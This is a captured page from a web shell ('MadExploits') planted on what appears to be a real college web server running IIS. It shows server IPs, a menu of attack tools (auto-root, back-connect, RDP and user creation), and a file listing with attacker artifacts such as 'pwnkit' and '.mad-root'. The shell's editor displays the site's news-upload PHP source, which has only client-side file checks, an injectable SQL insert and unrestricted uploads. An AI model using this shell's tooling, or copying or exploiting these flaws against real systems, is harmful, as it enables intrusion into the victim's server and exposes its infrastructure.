Windows NT ECAMS-WEB-02 10.0 build 14393 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
: 10.1.0.229 | : 216.73.216.101
Cant Read [ /etc/named.conf ]
8.2.29
IWPD_38(rampurh_065)
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
C: /
Inetpub /
vhosts /
rampurhatcollege.ac.in /
httpdocs /
[ HOME SHELL ]
Name
Size
Permission
Action
biodata
[ DIR ]
drwxrwxrwx
ckeditor
[ DIR ]
drwxrwxrwx
coaching_news
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
gallery
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
magazine
[ DIR ]
drwxrwxrwx
message
[ DIR ]
drwxrwxrwx
news
[ DIR ]
drwxrwxrwx
notice
[ DIR ]
drwxrwxrwx
old_site
[ DIR ]
drwxrwxrwx
profile
[ DIR ]
drwxrwxrwx
recruit_news
[ DIR ]
drwxrwxrwx
script
[ DIR ]
drwxrwxrwx
tech_news
[ DIR ]
drwxrwxrwx
tech_slide
[ DIR ]
drwxrwxrwx
workshop
[ DIR ]
drwxrwxrwx
.htaccess
245
B
-rw-rw-rw-
.mad-root
0
B
-rw-rw-rw-
.user.ini
254
B
-rw-rw-rw-
academic_calendar.php
2.12
KB
-rw-rw-rw-
addon_course.php
2.6
KB
-rw-rw-rw-
admin_login.php
3.97
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
alumni_association.php
2.11
KB
-rw-rw-rw-
anti_ragging_cell.php
2.2
KB
-rw-rw-rw-
aqar.php
2.03
KB
-rw-rw-rw-
auditorium.php
2.17
KB
-rw-rw-rw-
cancel_coachingntc.php
331
B
-rw-rw-rw-
cancel_news.php
331
B
-rw-rw-rw-
cancel_notice.php
325
B
-rw-rw-rw-
cancel_recruitntc.php
330
B
-rw-rw-rw-
cancel_technews.php
335
B
-rw-rw-rw-
canteen.php
2.15
KB
-rw-rw-rw-
ckupload.php
1.54
KB
-rw-rw-rw-
class_routine.php
2.12
KB
-rw-rw-rw-
coaching_counseling_notice.php
1.71
KB
-rw-rw-rw-
common_room.php
2.17
KB
-rw-rw-rw-
config.php
1.47
KB
-rw-rw-rw-
contact_us.php
2.05
KB
-rw-rw-rw-
course_outcome.php
2.13
KB
-rw-rw-rw-
cultural_activities.php
2.12
KB
-rw-rw-rw-
delete_gallery.php
313
B
-rw-rw-rw-
delete_gb.php
342
B
-rw-rw-rw-
delete_profile.php
325
B
-rw-rw-rw-
delete_slide.php
556
B
-rw-rw-rw-
delete_staff.php
335
B
-rw-rw-rw-
delete_tech_slide.php
319
B
-rw-rw-rw-
department.php
4.23
KB
-rw-rw-rw-
dept_content.php
4.3
KB
-rw-rw-rw-
dept_profile.php
35.61
KB
-rw-rw-rw-
e_module.php
2.08
KB
-rw-rw-rw-
educational_tour.php
2.15
KB
-rw-rw-rw-
equal_opportunity_cell.php
2.21
KB
-rw-rw-rw-
fetch_user.php
416
B
-rw-rw-rw-
footer.php
4.14
KB
-rw-rw-rw-
generator.php
2.16
KB
-rw-rw-rw-
get_gb.php
449
B
-rw-rw-rw-
get_profile.php
863
B
-rw-rw-rw-
get_slide.php
448
B
-rw-rw-rw-
get_staff.php
536
B
-rw-rw-rw-
google8de2cdcb81ec195c.html
53
B
-rw-rw-rw-
governing_body.php
1.34
KB
-rw-rw-rw-
grievance_redressal_cell.php
2.21
KB
-rw-rw-rw-
header.php
16.1
KB
-rw-rw-rw-
history_of_the_college.php
2.13
KB
-rw-rw-rw-
home.php
16.75
KB
-rw-rw-rw-
index.php
34.41
KB
-rw-rw-rw-
international_seminar_geograph...
3.69
KB
-rw-rw-rw-
internet_wifi.php
2.17
KB
-rw-rw-rw-
iqac.php
2.06
KB
-rw-rw-rw-
library_at_a_glance.php
2.12
KB
-rw-rw-rw-
library_staff.php
2.12
KB
-rw-rw-rw-
logout.php
101
B
-rw-rw-rw-
magazine_geography.php
976
B
-rw-rw-rw-
manage_gallery.php
18.5
KB
-rw-rw-rw-
manage_gb.php
21.03
KB
-rw-rw-rw-
manage_slide.php
21.72
KB
-rw-rw-rw-
manage_tech_slide.php
18.51
KB
-rw-rw-rw-
manage_user.php
23.71
KB
-rw-rw-rw-
mission_vision_objectives.php
2.18
KB
-rw-rw-rw-
nad_digilocker.php
2.02
KB
-rw-rw-rw-
nirf.php
2.01
KB
-rw-rw-rw-
non_teaching_staff.php
1.37
KB
-rw-rw-rw-
notice_board.php
6.17
KB
-rw-rw-rw-
nss.php
2.06
KB
-rw-rw-rw-
online_admission_notice_info_2...
2.19
KB
-rw-rw-rw-
organization.php
2.12
KB
-rw-rw-rw-
pg_course.php
2.07
KB
-rw-rw-rw-
photo_gallery.php
5.44
KB
-rw-rw-rw-
play_ground.php
2.15
KB
-rw-rw-rw-
principal_desk.php
2.14
KB
-rw-rw-rw-
prospectus.php
2.1
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
recruitment_notice.php
1.57
KB
-rw-rw-rw-
regional_science_tech_congress...
5.66
KB
-rw-rw-rw-
rti.php
1.84
KB
-rw-rw-rw-
safe_drinking_water.php
2.19
KB
-rw-rw-rw-
safety_first_aid.php
2.22
KB
-rw-rw-rw-
scholarship_stipend.php
2.2
KB
-rw-rw-rw-
sports_games.php
2.13
KB
-rw-rw-rw-
ssr.php
2
KB
-rw-rw-rw-
staff_profile.php
29.89
KB
-rw-rw-rw-
structural_modeling_amos.php
1.59
KB
-rw-rw-rw-
student_union.php
2.13
KB
-rw-rw-rw-
students_fair.php
2.11
KB
-rw-rw-rw-
study_center.php
2.06
KB
-rw-rw-rw-
sub_committees.php
2.15
KB
-rw-rw-rw-
ug_course.php
2.09
KB
-rw-rw-rw-
upload_coaching_counseling_not...
20.14
KB
-rw-rw-rw-
upload_news.php
20.39
KB
-rw-rw-rw-
upload_notice.php
21.09
KB
-rw-rw-rw-
upload_recruitment_notice.php
20.08
KB
-rw-rw-rw-
upload_science_tech_notice.php
20.11
KB
-rw-rw-rw-
vishaka_cell.php
2.18
KB
-rw-rw-rw-
web.config
233
B
-rw-rw-rw-
welcome22222.html
4.83
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload_news.php
<?php session_start(); if (!isset($_SESSION['RPHC']) && empty($_SESSION['RPHC'])) { header("location: admin_login.php"); exit(); } require_once "./config.php"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Upload News : Rampurhat College</title> <meta name="keywords" content="" /> <meta name="description" content="" /> <!--<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon"> <link rel="icon" href="images/favicon.ico" type="image/x-icon">--> <link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="css/font-awesome.css" rel="stylesheet" type="text/css" /> <link href="css/mdb.min.css" rel="stylesheet" type="text/css" /> <link href="css/bootnavbar.css" rel="stylesheet" type="text/css" /> <link href="css/classic.css" rel="stylesheet" type="text/css" /> <link href="css/classic.date.css" rel="stylesheet" type="text/css" /> <link href="https://cdn.datatables.net/1.11.4/css/dataTables.bootstrap4.min.css" rel="stylesheet" type="text/css" /> <link href="css/styles.css" rel="stylesheet" type="text/css" /> <style type="text/css"> .modal-dialog { margin-top: 2.5% !important; } </style> </head> <body> <div class="container-fluid"> <div class="row py-2"> <div class="col-sm-2 text-center my-auto"><img src="images/logo.jpg" border="0" class="img-fluid" /></div> <div class="col-sm-8 text-center my-auto"> <img src="images/title.png" class="img-fluid" /> </div> <div class="col-sm-2 text-center"> </div> </div> <div class="row"> <div class="col-sm-12 m-0"> <nav class="navbar navbar-expand-lg navbar-default navbar-dark"> <!-- Collapse button --> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#basicExampleNav" aria-controls="basicExampleNav" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <!-- Collapsible content --> <div class="collapse navbar-collapse" id="basicExampleNav"> <!-- Links --> <ul class="navbar-nav m-auto"> <li class="nav-item"> <a class="nav-link" href="home.php">Home <span class="sr-only">(current)</span> </a> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Admin</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown"> <li><a class="dropdown-item" href="./manage_user.php">Manage Users</a></li> <li><a class="dropdown-item" href="./dept_profile.php">Add Dept. Profile</a></li> <li><a class="dropdown-item" href="./staff_profile.php">Add Non-Teaching Staff</a></li> <li><a class="dropdown-item" href="./manage_gb.php">Manage Governing Body</a></li> <li><a class="dropdown-item" href="./upload_notice.php">Manage Notice/Tender</a></li> <li><a class="dropdown-item" href="./upload_news.php">Manage Latest News</a></li> <li><a class="dropdown-item" href="./manage_slide.php">Manage Front Slides</a></li> <li><a class="dropdown-item" href="./manage_gallery.php">Manage Photo Gallery</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">About Us</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown"> <li><a class="dropdown-item" href="./history_of_the_college.php">History of the College</a></li> <li><a class="dropdown-item" href="./mission_vision_objectives.php">Mission, Vision & Objectives</a></li> <li><a class="dropdown-item" href="./organization.php">Organization</a></li> <li><a class="dropdown-item" href="./governing_body.php">Governing Body</a></li> <li><a class="dropdown-item" href="./sub_committees.php">Sub-Committees & Cells</a></li> <li><a class="dropdown-item" href="./iqac.php">IQAC</a></li> <li><a class="dropdown-item" href="./non_teaching_staff.php">Non-Teaching Staff</a></li> <li><a class="dropdown-item" href="./alumni_association.php">Alumni Association</a></li> <li><a class="dropdown-item" href="./student_union.php">Students' Union</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Departments</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown1"> <li class="nav-item dropdown"> <a class="dropdown-item dropdown-toggle" href="#" id="navbarDropdown2" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Science</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown2"> <li><a class="dropdown-item" href="#">Botany</a></li> <li><a class="dropdown-item" href="#">Chemistry</a></li> <li><a class="dropdown-item" href="#">Computer Science</a></li> <li><a class="dropdown-item" href="#">Mathematics</a></li> <li><a class="dropdown-item" href="#">Physics</a></li> <li><a class="dropdown-item" href="#">Zoology</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-item dropdown-toggle" href="#" id="navbarDropdown2" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Arts</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown2"> <li><a class="dropdown-item" href="#">Bengali</a></li> <li><a class="dropdown-item" href="#">Economics</a></li> <li><a class="dropdown-item" href="#">Education</a></li> <li><a class="dropdown-item" href="#">English</a></li> <li><a class="dropdown-item" href="#">Geography</a></li> <li><a class="dropdown-item" href="#">History</a></li> <li><a class="dropdown-item" href="#">Music</a></li> <li><a class="dropdown-item" href="#">Philosophy</a></li> <li><a class="dropdown-item" href="#">Physical Education</a></li> <li><a class="dropdown-item" href="#">Political Science</a></li> <li><a class="dropdown-item" href="#">Sanskrit</a></li> </ul> </li> <li><a class="dropdown-item" href="#">Commerce</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Academic</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown"> <li><a class="dropdown-item" href="./ug_course.php">Undergraduate</a></li> <li><a class="dropdown-item" href="./pg_course.php">Postgraduate</a></li> <li><a class="dropdown-item" href="./prospectus.php">Prospectus</a></li> <li><a class="dropdown-item" href="./course_outcome.php">Course Outcome</a></li> <li><a class="dropdown-item" href="./academic_calendar.php">Academic Calendar</a></li> <li><a class="dropdown-item" href="./class_routine.php">Class Routine</a></li> <li><a class="dropdown-item" href="./e_module.php">E-Module</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Library</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown"> <li><a class="dropdown-item" href="./library_at_a_glance.php">Library at a Glance</a></li> <li><a class="dropdown-item" href="./library_staff.php">Library Staff</a></li> <li><a class="dropdown-item" href="#">OPAC</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Facilities</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown1"> <li class="nav-item dropdown"> <a class="dropdown-item dropdown-toggle" href="#" id="navbarDropdown2" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Student Service Cells</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown2"> <li><a class="dropdown-item" href="./vishaka_cell.php">Vishaka Cell</a></li> <li><a class="dropdown-item" href="./anti_ragging_cell.php">Anti-Ragging Cell</a></li> <li><a class="dropdown-item" href="./equal_opportunity_cell.php">Equal Opportunity Cell</a></li> <li><a class="dropdown-item" href="./grievance_redressal_cell.php">Grievance Redressal Cell</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-item dropdown-toggle" href="#" id="navbarDropdown2" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Academic</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown2"> <li><a class="dropdown-item" href="./internet_wifi.php">Internet & Wifi</a></li> <li><a class="dropdown-item" href="./educational_tour.php">Educational Tour</a></li> <li><a class="dropdown-item" href="./scholarship_stipend.php">Scholarship & Stipend</a></li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-item dropdown-toggle" href="#" id="navbarDropdown2" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Infrastructural</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown2"> <li><a class="dropdown-item" href="./auditorium.php">Auditorium</a></li> <li><a class="dropdown-item" href="./common_room.php">Common Room</a></li> <li><a class="dropdown-item" href="./play_ground.php">Play Ground</a></li> <li><a class="dropdown-item" href="./generator.php">Generator</a></li> <li><a class="dropdown-item" href="./safe_drinking_water.php">Safe Drinking Water</a></li> <li><a class="dropdown-item" href="./safety_first_aid.php">Safety, First Aid & Doctor on Call</a></li> <li><a class="dropdown-item" href="./canteen.php">Canteen</a></li> </ul> </li> </ul> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Activities</a> <ul class="dropdown-menu" aria-labelledby="navbarDropdown"> <li><a class="dropdown-item" href="./nss.php">NSS</a></li> <li><a class="dropdown-item" href="./sports_games.php">Sports & Games</a></li> <li><a class="dropdown-item" href="./cultural_activities.php">Cultural Activities</a></li> <li><a class="dropdown-item" href="./students_fair.php">Students' Fair</a></li> </ul> </li> <li class="nav-item"> <a class="nav-link" href="#">Study Centre</a> </li> <li class="nav-item"> <a class="nav-link" href="#">Gallery</a> </li> <li class="nav-item"> <a class="nav-link" href="./contact_us.php">Contact Us</a> </li> </ul> </div> <!-- Collapsible content --> </nav> <!--/.Navbar--> </div> </div> </div> <div class="container-fluid text-center my-2"> <div class="row"> <div class="col-sm-12"> <div class="card implnk-card mb-2" style="min-height: 380px; height: auto;"> <div class="card-header pt-1 pb-0"> <h4 class="text-right"> <span style="vertical-align: middle;">Welcome <?php if (isset($_SESSION['RPHC'])) echo $_SESSION['RPHC']; ?></span> <a href="./logout.php" class="btn btn-warning btn-sm">Logout</a> </h4> </div> <div class="card-body text-left"> <h3 class="text-warning">Manage Latest News</h3> <hr /> <button type="button" class="btn btn-info btn-md" data-toggle="modal" data-target="#myModal"><i class="fa fa-list"></i> Add News</button> <button type="button" class="btn btn-default btn-md" onclick="javascript:document.location.href='home.php';">Back</button> <?php $record = execSelect("SELECT * FROM notification WHERE cancel IS null ORDER BY id DESC"); if (rowCount($record) > 0) { $c = 1; ?> <div class="table-responsive"> <table id="ntcTab" class="table table-bordered table-striped" style="margin-top:8px; text-align:center;"> <thead> <tr> <th class="text-center">SL. NO.</th> <th class="text-center">NEWS TITLE</th> <th class="text-center">PUBLISH DATE</th> <th class="text-center">ACTION</th> </tr> </thead> <tbody> <?php while ($rows = getRows($record)) { ?> <tr> <td style="vertical-align: middle;"><?php echo $c; ?></td> <td style="vertical-align: middle;"><?php echo $rows['title']; ?></td> <td style="vertical-align: middle;"><?php echo date('d/m/Y', strtotime($rows['publish_date'])); ?></td> <td> <a href="javascript:void(0);" class="btn btn-danger btn-sm" onclick="javascript:confirmChange(<?php echo $rows['id'] ?>);">Cancel</a> </td> </tr> <?php $c++; } ?> </tbody> </table> </div> <?php } mysqli_free_result($record); ?> </div> </div> </div> </div> </div> <footer class="container-fluid text-center"> <div class="row"> <div class="col-sm-4 my-auto"> <h6 class="h6-responsive white-text"> Rampurhat College </h6> </div> <div class="col-sm-4 my-auto"> </div> <div class="col-sm-4 my-auto"> <ul class="social-network social-circle"> <li><a href="#" class="icoFacebook" title="Facebook"><i class="fa fa-facebook"></i></a></li> <li><a href="#" class="icoGoogle" title="Youtube" target="_blank"><i class="fa fa-youtube"></i></a></li> </ul> </div> </div> </footer> <!--Modal Add--> <div class="modal fade" id="myModal" role="dialog" tabindex="-1" aria-hidden="true" data-backdrop="static" data-keyboard="false"> <div class="modal-dialog cascading-modal" role="document"> <div class="modal-content"> <div class="modal-header primary-color white-text"> <h4 class="title"><i class="fa fa-bullhorn"></i> ADD NEWS</h4> <button type="button" class="close waves-effect waves-light" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">x</span> </button> </div> <div class="modal-body"> <form id="addNotice" method="post" autocomplete="off" onSubmit="return validate();" enctype="multipart/form-data"> <label for="title">News Title:</label> <input type="text" class="form-control form-control-sm" id="title" name="title" placeholder="Title" /> <br /> <label for="pdate">Publish Date:</label> <input type="text" class="form-control form-control-sm datepicker" id="pdate" name="pdate" /> <br /> <label for="notice">Upload File:<br /> <font size="-2" color="#FF6600">(Only pdf file is allowed<br />Max. file size accepted is 6 MB)</font> </label> <input type="file" class="form-control form-control-sm" id="notice" name="notice" style="height:auto;" /> <br/> <label>OR</label> <br/> <label for="fileUrl">File URL:</label> <input type="text" class="form-control form-control-sm" id="fileUrl" name="fileUrl" /> <div class="text-center mt-4 mb-2"> <input type="submit" class="btn btn-success btn-md" name="submit" value="Submit" /> </div> </form> </div> </div> </div> </div> <!--Modal Block/Unblock Notice--> <div class="modal fade" id="cancelModal" role="dialog" tabindex="-1" aria-hidden="true" data-backdrop="static" data-keyboard="false"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <!--<button type="button" class="close" data-dismiss="modal">×</button>--> <h4 class="modal-title"><strong>CANCEL NEWS</strong></h4> </div> <div class="modal-body"> <p>Do You Want to Realy Cancel this document ?</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-default btn-md" data-dismiss="modal">Close</button> <span id='deleteButton'></span> </div> </div> </div> </div> <!-- Jscript --> <script src="script/jquery-3.4.1.min.js" type="text/javascript"></script> <script type="text/javascript" src="script/popper.min.js"></script> <script src="script/bootstrap.min.js" type="text/javascript"></script> <script type="text/javascript" src="script/mdb.min.js"></script> <script type="text/javascript" src="script/bootnavbar.js"></script> <script type="text/javascript" src="script/picker.js"></script> <script type="text/javascript" src="script/picker.date.js"></script> <script type="text/javascript" src="https://cdn.datatables.net/1.11.4/js/jquery.dataTables.min.js"></script> <script type="text/javascript" src="https://cdn.datatables.net/1.11.4/js/dataTables.bootstrap4.min.js"></script> <script type="text/javascript"> $(document).ready(function() { if ($("#ntcTab").length) { $('#ntcTab').DataTable({ "ordering": false, "lengthMenu": [ [10, 20, 40, 60, 80, 100], [10, 20, 40, 60, 80, 100] ] }); } }); $('.datepicker').pickadate({ format: 'dd/mm/yyyy', formatSubmit: 'yyyy/mm/dd', selectMonths: true, selectYears: true }); function validate() { if (document.getElementById("title").value == "") { alert("Please enter Notice Title"); document.getElementById("title").focus(); return false; } if (document.getElementById("pdate").value == "") { alert("Please give Date"); document.getElementById("pdate").focus(); return false; } /*if(document.getElementById("notice").value == ""){ alert("Please select the file to upload"); return false; }*/ if (document.getElementById("notice").value != "") { var ext = $("#notice").val().split('.').pop().toLowerCase(); if ($.inArray(ext, ['pdf', 'xls', 'jpg', 'jpeg']) == -1) { alert("Invalid file format! Only pdf, xls, jpg are allowed"); $('#notice').val(""); return false; } } return true; } function confirmChange(cid) { $('#cancelModal').modal(); $('#deleteButton').html('<a class="btn btn-danger btn-md" onclick="changeStatus(' + cid + ')">Cancel</a>'); } function changeStatus(cid) { $.ajax({ type: "POST", dataType: "json", url: "cancel_news.php", data: { nid: cid }, success: function(d) { if (d.status == "success") { //$('#statusModal').modal('hide'); document.location.href = "upload_news.php"; } } }); } </script> </body> </html> <?php if (isset($_POST['submit']) && $_POST['submit'] == "Submit") { $title = stripslashes($_POST['title']); $title = filterInput($title); $dt = explode("/", $_POST['pdate']); $p_date = $dt[2] . "-" . $dt[1] . "-" . $dt[0]; /*$p_date = $dt[0]."-".$dt[1]."-".$dt[2];*/ $fileUrl = (isset($_POST['fileUrl']))? stripslashes($_POST['fileUrl']) : ''; $fileUrl = (!empty($fileUrl))? filterInput($fileUrl) : ''; $user = $_SESSION['RPHC']; $location = ""; if (is_uploaded_file($_FILES["notice"]["tmp_name"])) { if ($_FILES['notice']['size'] > 6291456) { echo "<script>alert(\"File size exceed the maximum limit\");</script>"; exit(); } $location = "news/" . $_FILES["notice"]["name"]; } $sql = "INSERT INTO notification (title, publish_date, notice, file_url, upload_by) VALUES ('$title', '$p_date', '$location', '$fileUrl', '$user')"; $result = execInsert($sql); if ($result) { if (!empty($location)) { move_uploaded_file($_FILES["notice"]["tmp_name"], $location); } echo "<script>alert('News Successfully Uploaded');</script>"; echo "<script>document.location.href='upload_news.php';</script>"; } else { echo "<script>alert('Some problem occur. Please try again later.');</script>"; echo "<script>document.location.href='upload_news.php';</script>"; } } ?>
Close